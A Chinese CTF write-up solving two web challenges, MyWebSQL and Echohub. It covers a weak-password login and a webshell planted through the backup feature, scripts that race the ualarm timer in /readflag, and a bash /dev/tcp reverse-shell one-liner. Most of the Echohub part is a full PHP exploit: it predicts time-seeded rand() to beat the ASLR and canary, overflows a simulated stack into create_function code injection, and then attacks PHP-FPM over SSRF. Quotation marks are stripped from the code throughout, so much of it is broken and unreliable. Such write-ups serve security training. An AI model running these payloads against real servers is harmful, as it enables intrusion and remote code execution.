很有意思的題目,研究了一下自認為感覺比較有意思的兩個Web題目,記錄一下過程。

Mywebsql

題目信息

打開題目鏈接後發現運行MyWebSQL程序,版本為3.7,搜索得到相關漏洞信息:

cnnvd.org.cn/web/xxk/ld

漏洞文檔中說明漏洞利用條件為後台,嘗試弱口令admin/admin登錄後台成功。

創建表並添加一句話木馬到表內數據,利用備份功能將該表內數據備份為.php結尾文件,成功獲取Webshell(密碼不添加引號,避免備份轉義導致失敗),地址為:

http://35.243.82.53:10080/backups/xxxx.php

連上shell找到flag位於根目錄下,但是卻沒有許可權直接訪問,但是同目錄下發現readflag文件,執行後需要輸入驗證碼:

下載程序並使用IDA進行查看:

發現輸出flag處使用了ualarm()函數,將使當前進程在0x3E8u(us位單位)內產生會終止當前進程的SIGALRM信號。

管道解法

在當前進程收到退出信號前,完成驗證碼計算並提交,獲取flag,只要是考查管道。

因為時間很短,網路延遲高,因此這裡攻擊腳本只能在伺服器上運行,以求快速。

php

php雖然是題目的默認環境但是感覺並不是特別好用。

  • 首先最常見的system,exec,沒有管道,無法獲取輸入輸出進行交互。
  • 接著就是popen,打開一個指向進程的管道,只不過它是單向的(只能用於讀或寫)。
  • 最後的解決方案proc_open,執行命令,並且打開用來輸入/輸出的文件指針。
  • 此處為追求程序的速度,不能在php中使用explode,preg_match等準確但損耗性能的函數,可以選取substr或更優雅的str_replace,但可能因為php本身性能偶爾還是會超時。

腳本如下:

<?php
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);

$cwd = /tmp;
$stime=microtime(true);
$process = proc_open(/readflag 2>&1, $descriptorspec, $pipes, $cwd);

$string = stream_get_contents($pipes[1],130);
$string = str_replace(Solve the easy challenge first,,$string);
$string = str_replace(input your answer:,,$string);
$string = str_replace(
,,$string);
$result = eval("return $rs;");
echo $result;
fwrite($pipes[0], "$result
");

$rs = stream_get_contents($pipes[1],130);
echo $rs;
fclose($pipes[1]);

perl

這是官方解法,但是對perl卻不太熟悉,感覺perl速度可能更快

use strict;
use IPC::Open3;

my $pid = open3( *CHLD_IN, *CHLD_OUT, *CHLD_ERR, /readflag )
or die "open3() failed $!";

my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = eval "$r";
print "$r
";
print CHLD_IN "$r
";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";

python

最開始並沒有發現裝有python

結果是python3,似乎丟一個python3的執行文件上去就可執行,打算測試時伺服器已經關閉,未測試

信號解法

ualarm()函數通過SIGALRM信號結束進程,可以通過trap命令修改SIGALRM信號的處理方式:

比如,按Ctrl+C會使腳本終止執行,實際上系統發送了SIGINT信號給腳本進程,SIGINT信號的默認處理方式就是退出程序。如果要在Ctrl+C不退出程序,那麼就得使用trap命令來指定一下SIGINT的處理方式了。

trap命令的參數分為兩部分,前一部分是接收到指定信號時將要採取的行動,後一部分是要處理的信號名。

  • 首先反彈可以交互bash
  1. bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
  • 重新定義SIGALRM信號的處理方式為不作任何操作
    1. trap "" 14

    Echohub

    題目信息

    官方HINT:

    表單中輸入啥都會返回phpInfo,:

    查看源碼發現可以添加參數獲得源碼?source=1

    Sandbox.php

    <?php
    $banner = <<<EOF
    <!--/?source=1-->
    <pre>
    .----------------. .----------------. .----------------. .----------------. .----------------. .----------------. .----------------.
    | .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
    | | _________ | || | ______ | || | ____ ____ | || | ____ | || | ____ ____ | || | _____ _____ | || | ______ | |
    | | |_ ___ | | || | . ___ | | || | |_ || _| | || | . `. | || | |_ || _| | || ||_ _||_ _|| || | |_ _ | |
    | | | |_ \_| | || | / . \_| | || | | |__| | | || | / .--. | || | | |__| | | || | | | | | | || | | |_) | | |
    | | | _| _ | || | | | | || | | __ | | || | | | | | | || | | __ | | || | | | | || | | __. | |
    | | _| |___/ | | || | `.___. | || | _| | | |_ | || | `-- / | || | _| | | |_ | || | `-- / | || | _| |__) | | |
    | | |_________| | || | `._____. | || | |____||____| | || | `.____. | || | |____||____| | || | `.__. | || | |_______/ | |
    | | | || | | || | | || | | || | | || | | || | | |
    | -------------- || -------------- || -------------- || -------------- || -------------- || -------------- || -------------- |
    ---------------- ---------------- ---------------- ---------------- ---------------- ---------------- ----------------

    Welcome to random stack ! Try to execute `/readflag` ??

    </pre>

    <form action="/" method="post">root > <input name="data" placeholder="input some data"></form>
    EOF;
    echo $banner;
    if(isset($_GET[source])){
    $file = fopen("index.php","r");
    $contents = fread($file,filesize("index.php"));
    echo "---------------sourcecode---------------";
    echo base64_encode($contents);
    echo "----------------------------------------";
    fclose($file);
    //Dockerfile here
    echo "Dockerfile here"; //此處太長省略
    highlight_file(__FILE__);

    }
    $disable_functions = ini_get("disable_functions");
    $loadext = get_loaded_extensions();
    foreach ($loadext as $ext) {
    if(in_array($ext,array("Core","date","libxml","pcre","zlib","filter","hash","sqlite3","zip"))) continue;
    else {
    if(count(get_extension_funcs($ext)?get_extension_funcs($ext):array()) >= 1)
    $dfunc = join(,,get_extension_funcs($ext));
    else
    continue;
    $disable_functions = $disable_functions.$dfunc.",";

    }
    }
    $func = get_defined_functions()["internal"];
    foreach ($func as $f){
    if(stripos($f,"file") !== false || stripos($f,"open") !== false || stripos($f,"read") !== false || stripos($f,"write") !== false){
    $disable_functions = $disable_functions.$f.",";
    }
    }

    ini_set("disable_functions", $disable_functions);
    ini_set("open_basedir","/var/www/html/:/tmp/".md5($_SERVER[REMOTE_ADDR])."/");

    可以得到安裝的dockerfile,經過Base64解碼後內容為內容為:

    FROM ubuntu:18.04

    RUN sed -i "s/http://archive.ubuntu.com/http://mirrors.ustc.edu.cn/g" /etc/apt/sources.list
    RUN apt-get update
    RUN apt-get -y install software-properties-common
    RUN add-apt-repository -y ppa:ondrej/php
    RUN apt-get update
    RUN apt-get -y upgrade
    RUN apt-get -y install tzdata
    RUN apt-get -y install vim
    RUN apt-get -y install apache2
    RUN apt-cache search "php" | grep "php7.3"| awk {print $1}| xargs apt-get -y install
    RUN service --status-all | awk {print $4}| xargs -i service {} stop

    RUN rm /var/www/html/index.html
    COPY randomstack.php /var/www/html/index.php
    COPY sandbox.php /var/www/html/sandbox.php
    RUN chmod 755 -R /var/www/html/
    COPY flag /flag
    COPY readflag /readflag
    RUN chmod 555 /readflag
    RUN chmod u+s /readflag
    RUN chmod 500 /flag
    COPY ./run.sh /run.sh
    COPY ./php.ini /etc/php/7.3/apache2/php.ini
    RUN chmod 700 /run.sh

    CMD ["/run.sh"]

    安裝了PHP7.3的全部拓展,並且根據HINT運行了全部安裝的的服務,Webserver是apache2:

    還能發現Base64輸出了index.php的源碼,解碼後發現代碼經過mzphp2混淆,這裡可以直接花錢解密O(∩_∩)O哈哈~

    index.php(Decode)

    <?php
    require_once sandbox.php;
    $seed = time();
    srand($seed);
    define("INS_OFFSET",rand(0x0000,0xffff));
    $regs = array(
    eax=>0x0,
    ebp=>0x0,
    esp=>0x0,
    eip=>0x0,
    );
    function aslr(&$value,$key)
    {
    $value = $value + 0x60000000 + INS_OFFSET + 1 ;
    }
    $func_ = array_flip($func);
    array_walk($func_,"aslr");
    $plt = array_flip($func_);
    function handle_data($data){
    $data_len = strlen($data);
    $bytes4_size = $data_len/4+(1*($data_len%4));
    $cut_data = str_split($data,4);
    $cut_data[$bytes4_size-1] = str_pad($cut_data[$bytes4_size-1],4,"x00");
    foreach ($cut_data as $key=>&$value){
    $value = strrev(bin2hex($value));
    }
    return $cut_data;
    }
    function gen_canary(){
    $chars = abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789;
    $c_1 = $chars[rand(0,strlen($chars)-1)];
    $c_2 = $chars[rand(0,strlen($chars)-1)];
    $c_3 = $chars[rand(0,strlen($chars)-1)];
    $c_4 = "x00";
    return handle_data($c_1.$c_2.$c_3.$c_4)[0];
    }
    $canary = gen_canary();
    $canarycheck = $canary;
    function check_canary(){
    global $canary;
    global $canarycheck;
    if($canary != $canarycheck){
    die("emmmmmm...Dont attack me!");
    }
    }
    Class stack{
    private $ebp,$stack,$esp;
    public function __construct($retaddr,$data) {
    $this->stack = array();
    global $regs;
    $this->ebp = &$regs[ebp];
    $this->esp = &$regs[esp];
    $this->ebp = 0xfffe0000 + rand(0x0000,0xffff);
    global $canary;
    $this->stack[$this->ebp - 0x4] = &$canary;
    $this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
    $this->esp = $this->ebp - (rand(0x20,0x60)*4);
    $this->stack[$this->ebp + 0x4] = dechex($retaddr);
    if($data != NULL)
    $this->pushdata($data);
    }
    public function pushdata($data){
    $data = handle_data($data);
    for($i=0;$i<count($data);$i++){
    $this->stack[$this->esp+($i*4)] = $data[$i];//no args in my stack haha
    check_canary();
    }
    }
    public function recover_data($data){
    return hex2bin(strrev($data));
    }
    public function outputdata(){
    global $regs;
    echo "root says: ";
    while(1){
    if($this->esp == $this->ebp-0x4)
    break;
    $this->pop("eax");
    $data = $this->recover_data($regs["eax"]);
    $tmp = explode("x00",$data);
    echo $tmp[0];
    if(count($tmp)>1){
    break;
    }
    }
    }
    public function ret(){
    $this->esp = $this->ebp;
    $this->pop(ebp);
    $this->pop("eip");
    $this->call();
    }
    public function get_data_from_reg($regname){
    global $regs;
    $data = $this->recover_data($regs[$regname]);
    $tmp = explode("x00",$data);
    return $tmp[0];
    }
    public function call()
    {
    global $regs;
    global $plt;
    $funcaddr = hexdec($regs[eip]);
    if(isset($_REQUEST[$funcaddr])) {
    $this->pop(eax);
    $argnum = (int)$this->get_data_from_reg("eax");
    $args = array();
    for($i=0;$i<$argnum;$i++){
    $this->pop(eax);
    $argaddr = $this->get_data_from_reg("eax");
    array_push($args,$_REQUEST[$argaddr]);
    }
    call_user_func_array($plt[$funcaddr],$args);
    }
    else
    {
    call_user_func($plt[$funcaddr]);
    }
    }
    public function push($reg){
    global $regs;
    $reg_data = $regs[$reg];
    if( hex2bin(strrev($reg_data)) == NULL ) die("data error");
    $this->stack[$this->esp] = $reg_data;
    $this->esp -= 4;
    }
    public function pop($reg){
    global $regs;
    $regs[$reg] = $this->stack[$this->esp];
    $this->esp += 4;
    }
    public function __call($_a1,$_a2)
    {
    check_canary();
    }
    }
    if(isset($_POST[data])) {
    $phpinfo_addr = array_search(phpinfo, $plt);
    $gets = $_POST[data];
    $main_stack = new stack($phpinfo_addr, $gets);
    echo "--------------------output---------------------</br></br>";
    $main_stack->outputdata();
    echo "</br></br>------------------phpinfo()------------------</br>";
    $main_stack->ret();
    }

    可以發現這是一個使用php實現的棧,ORZ,很有意思。

    解題

    要點梳理

    ORZ,現在梳理一下兩個頁面的代碼邏輯:

    sandbox.php:

    • 禁用許多函數,比如函數名種包括file、open字元的函數都會被禁用。

    foreach ( $func as $f ) {
    if ( stripos( $f, "file" ) !== false || stripos( $f, "open" ) !== false || stripos( $f, "read" ) !== false || stripos( $f, "write" ) !== false ) {
    $disable_functions = $disable_functions . $f . ",";
    }
    }

    • 獲取全部的內置函數名稱,存在$func變數中。

    $func = get_defined_functions()["internal"];

    index.php:

    以當前時間進行隨機數播種:

    $seed = time();
    srand( $seed );

    將包含全部的內置函數名稱的$func轉化為地址=>函數名的$plt數組,並且被aslr保護,也就是鍵值隨機。

    define( INS_OFFSET, rand( 0x0, 0xffff ) );
    function aslr(&$value,$key)
    {
    $value = $value + 0x60000000 + INS_OFFSET + 1 ;
    }
    $func_ = array_flip($func);
    array_walk($func_,"aslr");
    $plt = array_flip($func_);

    棧內初始化時有canary機制,在棧內隨機初始化一個$canary,用於檢測棧是否遭受緩衝區溢出。

    棧內壓入局部變數時會校驗當前棧內的$canary是否和$canarycheck一致,若不一致就表示遭到攻擊,過長的緩衝區溢出就會退出。

    function gen_canary(){
    $chars = abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789;
    $c_1 = $chars[rand(0,strlen($chars)-1)];
    $c_2 = $chars[rand(0,strlen($chars)-1)];
    $c_3 = $chars[rand(0,strlen($chars)-1)];
    $c_4 = "x00";
    return handle_data($c_1.$c_2.$c_3.$c_4)[0];
    }
    $canary = gen_canary();
    $canarycheck = $canary;
    function check_canary(){
    global $canary;
    global $canarycheck;
    if($canary != $canarycheck){
    die("emmmmmm...Dont attack me!");
    }
    }
    Class stack{
    private $ebp,$stack,$esp;
    public function __construct($retaddr,$data) {
    $this->stack = array();
    global $regs;
    $this->ebp = &$regs[ebp];
    $this->esp = &$regs[esp];
    $this->ebp = 0xfffe0000 + rand(0x0000,0xffff);
    global $canary;
    $this->stack[$this->ebp - 0x4] = &$canary;
    $this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
    $this->esp = $this->ebp - (rand(0x20,0x60)*4);
    $this->stack[$this->ebp + 0x4] = dechex($retaddr);
    if($data != NULL)
    $this->pushdata($data);
    }

    phpinfo的函數地址被默認放在ebp + 0x4(函數結束後eip的下一跳),去$plt映射表中找到函數名,傳給call_user_func完成執行,因此正常輸入都會返回phpinfo信息。

    public function call() {
    global $regs;
    global $plt;
    $a = hexdec( $regs[eip] );
    if ( isset( $_REQUEST[ $a ] ) ) {
    $this->pop( eax );
    $len = (int) $this->get_data_from_reg( eax );
    $args = array();
    for ( $i = 0; $i < $len; $i ++ ) {
    $this->pop( eax );
    $data = $this->get_data_from_reg( eax );
    array_push( $args, $_REQUEST[ $data ] );
    }
    call_user_func_array( $plt[ $a ], $args );
    } else {
    call_user_func( $plt[ $a ] );
    }
    }

    解決思路:

    這是一個緩衝區溢出的題目,和bin的棧溢出的思路沒什麼太大的區別。首先繞過aslr獲取利用惡意函數地址,在繞過canary保護完成棧覆蓋,控制返回地址,調用惡意函數完成代碼執行。

    防護繞過

    可以發現不管是aslr還是canary都是根據隨機數進行初始化,而隨機數的的種子則是每次請求的時間time()。

    經過測試發現題目伺服器上的時間設置和我們是一致的,伺服器time()函數返回的時間和本地time()函數返回的時間一致:

    echo time() . "
    ";
    function _httpPost( $url = "", $requestData = array() ) {
    $curl = curl_init();
    curl_setopt( $curl, CURLOPT_URL, $url );
    curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $curl, CURLOPT_POSTFIELDS, http_build_query( $requestData ) );
    $res = curl_exec( $curl );

    //$info = curl_getinfo($ch);
    curl_close( $curl );

    return $res;
    }
    $data = array( data => Test time );
    $rs = _httpPost( http://34.85.27.91:10080/, $data );
    echo $rs;

    隨機數的種子可以獲取,因此對rand函數結果產生的的隨機數就可以在本地進行預測,因此aslr,canary均失效。

    直接根據源碼修改得到獲取webshell的EXP:

    <?php
    $disable_functions = ini_get( "disable_functions" );
    $loadext = get_loaded_extensions();
    foreach ( $loadext as $ext ) {
    if ( in_array( $ext, array( "Core", "date", "libxml", "pcre", "zlib", "filter", "hash", "sqlite3", "zip" ) ) ) {
    continue;
    } else {
    if ( count( get_extension_funcs( $ext ) ? get_extension_funcs( $ext ) : array() ) >= 1 ) {
    $dfunc = join( ,, get_extension_funcs( $ext ) );
    } else {
    continue;
    }
    $disable_functions = $disable_functions . $dfunc . ",";

    }
    }
    $func = get_defined_functions()["internal"];

    $seed = time();
    srand( $seed );
    define( INS_OFFSET, rand( 0x0, 0xffff ) );
    $regs = array( eax => 0x0, ebp => 0x0, esp => 0x0, eip => 0x0 );
    function aslr( &$a, $O0O ) {
    $a = $a + 0x60000000 + INS_OFFSET + 0x1;
    }

    //構造函數地址
    $func_ = array_flip( $func );
    array_walk( $func_, aslr );
    $plt = array_flip( $func_ );

    function handle_data( $data ) {
    $len = strlen( $data );
    $a = $len / 0x4 + 0x1 * ( $len % 0x4 );
    $ret = str_split( $data, 0x4 );
    $ret[ $a - 0x1 ] = str_pad( $ret[ $a - 0x1 ], 0x4, "x00" );
    foreach ( $ret as $key => &$value ) {
    $value = strrev( bin2hex( $value ) );
    }

    return $ret;
    }

    function gen_canary() {
    $canary = abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789;
    $a = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
    $b = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
    $c = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
    $d = "x00";

    return handle_data( $a . $b . $c . $d )[0];
    }

    $canary = gen_canary();
    $canarycheck = $canary;
    function check_canary() {
    global $canary;
    global $canarycheck;
    if ( $canary != $canarycheck ) {
    die( emmmmmm...Don attack me! );
    }
    }

    class stack {
    public $ebp, $stack, $esp;

    public function __construct( $a, $b ) {
    $this->stack = array();
    global $regs;
    $this->ebp =& $regs[ebp];
    $this->esp =& $regs[esp];
    $this->ebp = 0xfffe0000 + rand( 0x0, 0xffff );
    global $canary;
    $this->stack[ $this->ebp - 0x4 ] =& $canary;
    $this->canary = $canary;
    $this->stack[ $this->ebp ] = $this->ebp + rand( 0x0, 0xffff );
    $this->esp = $this->ebp - rand( 0x20, 0x60 ) * 0x4;
    $this->stack[ $this->ebp + 0x4 ] = dechex( $a );
    if ( $b != null ) {
    $this->pushdata( $b );
    }
    }

    public function pushdata( $data ) {
    $data_bak = $data;
    $data = handle_data( $data );
    for ( $i = 0; $i < count( $data ); $i ++ ) {
    $this->stack[ $this->esp + $i * 0x4 ] = $data[ $i ];
    //no args in my stack haha
    check_canary();
    }
    }

    public function recover_data( $data ) {
    return hex2bin( strrev( $data ) );
    }

    public function outputdata() {
    global $regs;
    echo root says: ;
    while ( 0x1 ) {
    if ( $this->esp == $this->ebp - 0x4 ) {
    break;
    }
    $this->pop( eax );
    $data = $this->recover_data( $regs[eax] );
    $ret = explode( "x00", $data );
    echo $ret[0];
    if ( count( $ret ) > 0x1 ) {
    break;
    }
    }
    }

    public function ret() {
    $this->esp = $this->ebp;
    $this->pop( ebp );
    $this->pop( eip );
    $this->call();
    }

    public function get_data_from_reg( $item ) {
    global $regs;
    $a = $this->recover_data( $regs[ $item ] );
    $b = explode( "x00", $a );

    return $b[0];
    }

    public function call() {
    global $regs;
    global $plt;
    $a = hexdec( $regs[eip] );
    if ( isset( $_REQUEST[ $a ] ) ) {
    $this->pop( eax );
    $len = (int) $this->get_data_from_reg( eax );
    $args = array();
    for ( $i = 0; $i < $len; $i ++ ) {
    $this->pop( eax );
    $data = $this->get_data_from_reg( eax );
    array_push( $args, $_REQUEST[ $data ] );
    }
    call_user_func_array( $plt[ $a ], $args );
    } else {
    call_user_func( $plt[ $a ] );
    }
    }

    public function push( $item ) {
    global $regs;
    $data = $regs[ $item ];
    if ( hex2bin( strrev( $data ) ) == null ) {
    die( data error );
    }
    $this->stack[ $this->esp ] = $data;
    $this->esp -= 0x4;
    }

    public function pop( $item ) {
    global $regs;
    $regs[ $item ] = $this->stack[ $this->esp ];
    $this->esp += 0x4;
    }

    public function __call( $name, $args ) {
    check_canary();
    }
    }

    function hexToStr( $hex ) {
    $str = "";
    for ( $i = 0; $i < strlen( $hex ) - 1; $i += 2 ) {
    $str .= chr( hexdec( $hex[ $i ] . $hex[ $i + 1 ] ) );
    }

    return $str;
    }

    function _httpPost( $url = "", $requestData = array() ) {

    $curl = curl_init();
    #curl_setopt( $curl, CURLOPT_PROXY, "127.0.0.1:8080" );
    curl_setopt( $curl, CURLOPT_URL, $url );
    curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );

    //普通數據
    curl_setopt( $curl, CURLOPT_POSTFIELDS, http_build_query( $requestData ) );
    $res = curl_exec( $curl );

    //$info = curl_getinfo($ch);
    curl_close( $curl );

    return $res;
    }

    $phpinfo_addr = array_search( phpinfo, $plt );
    $gets = Rai4over;
    $main_stack1 = new stack( $phpinfo_addr, $gets );
    $ebp = $main_stack1->ebp;
    $esp = $main_stack1->esp;
    $padding_num = ( $main_stack1->ebp - $main_stack1->esp ) - 4;

    $shellcode = $dir="./";$file=scandir($dir);print_r($file);;
    $post_data = array();
    $data = str_repeat( A, $padding_num ) . hexToStr( strrev( $canarycheck ) ) . "BBBB" . hexToStr( strrev( dechex( $func_[create_function] ) ) ) . 000266667777;
    $post_data[data] = $data;
    $post_data[ $func_[create_function] ] = Rai4over;
    $post_data[6666] = ;
    $post_data[7777] = "1;}" . $shellcode . "/*";

    $rs = _httpPost( "http://34.85.27.91:10080/", $post_data );
    echo $rs;

    本地構造棧,可以得到和伺服器一樣的棧結構($canarycheck,$plt等)

    棧由低地址向高地址推進,計算AAA填充長度,需要減去canary的長度(-4):

    $phpinfo_addr = array_search( phpinfo, $plt );
    $gets = Rai4over;
    $main_stack1 = new stack( $phpinfo_addr, $gets );
    $ebp = $main_stack1->ebp;
    $esp = $main_stack1->esp;
    $padding_num = ( $main_stack1->ebp - $main_stack1->esp ) - 4;

    計算並覆蓋正確的canary,EBP值隨意,根據call函數:

    public function call() {
    global $regs;
    global $plt;
    $a = hexdec( $regs[eip] );
    if ( isset( $_REQUEST[ $a ] ) ) {
    $this->pop( eax );
    $len = (int) $this->get_data_from_reg( eax );
    $args = array();
    for ( $i = 0; $i < $len; $i ++ ) {
    $this->pop( eax );
    $data = $this->get_data_from_reg( eax );
    array_push( $args, $_REQUEST[ $data ] );
    }
    call_user_func_array( $plt[ $a ], $args );
    } else {
    call_user_func( $plt[ $a ] );
    }
    }

    會調用call_user_func_array( $plt[ $a ], $args );,參數為數組,因此將ret地址覆蓋為create_function函數地址,create_function可以接受數組。

    需要進入if分支,因此發送數據時需要發送包含create_function函數地址的查詢參數。

    create_function函數傳入的參數數量、還有參數的內容也在是通過棧內pop得到,因此我們因該繼續覆蓋:

    溢出緩衝區的data完整構造如下:

    $data = str_repeat( A, $padding_num ) . hexToStr( strrev( $canarycheck ) ) . "BBBB" . hexToStr( strrev( dechex( $func_[create_function] ) ) ) . 000266667777;

    現在已經獲得受限制的webshell。

    攻擊FPM

    當前apache2載入/etc/php/7.3/apache2/php.ini配置文件的php環境禁用了執行命令的函數,但是我們可以利用受限的webshell連接沒有額外安全設置的默認安裝並運行的的FPM,SSRF完成命令執行。

    控制FPM還需要利用auto_prepend_file+php://input包含進行php代碼執行,再使用system函數反彈shell。

    FPM攻擊腳本如下:

    搭建nginx和fpm,並通過tcp://127.0.0.1:9000進行通訊,運行FPM攻擊腳本,並使用tcpdump抓取攻擊數據包

    利用16進位的RAW轉換並進行url編碼:

    function hexToStr( $hex ) {
    $str = "";
    for ( $i = 0; $i < strlen( $hex ) - 1; $i += 2 ) {
    $str .= chr( hexdec( $hex[ $i ] . $hex[ $i + 1 ] ) );
    }

    return $str;
    }

    $str = 0101b0720008000000010000000000000......00000000;
    var_dump( urlencode( hexToStr( $str ) ) );

    這裡最後選擇未被禁用的stream_socket_client函數和FPM進行通訊

    參考

    blog.csdn.net/qq_228637

    zhaoj.in/read-5479.html

    codingstandards.iteye.com

    github.com/sixstars/sta

    作者:Rai4over

    歡迎來安全脈搏查看更多的乾貨文章和我們一起交流互動哦!

    脈搏地址:安全脈搏 | 分享技術,悅享品質

    微博地址:Sina Visitor System

    【註:安全脈搏所有文章未經許可,謝絕轉載】


    推薦閱讀:
    相关文章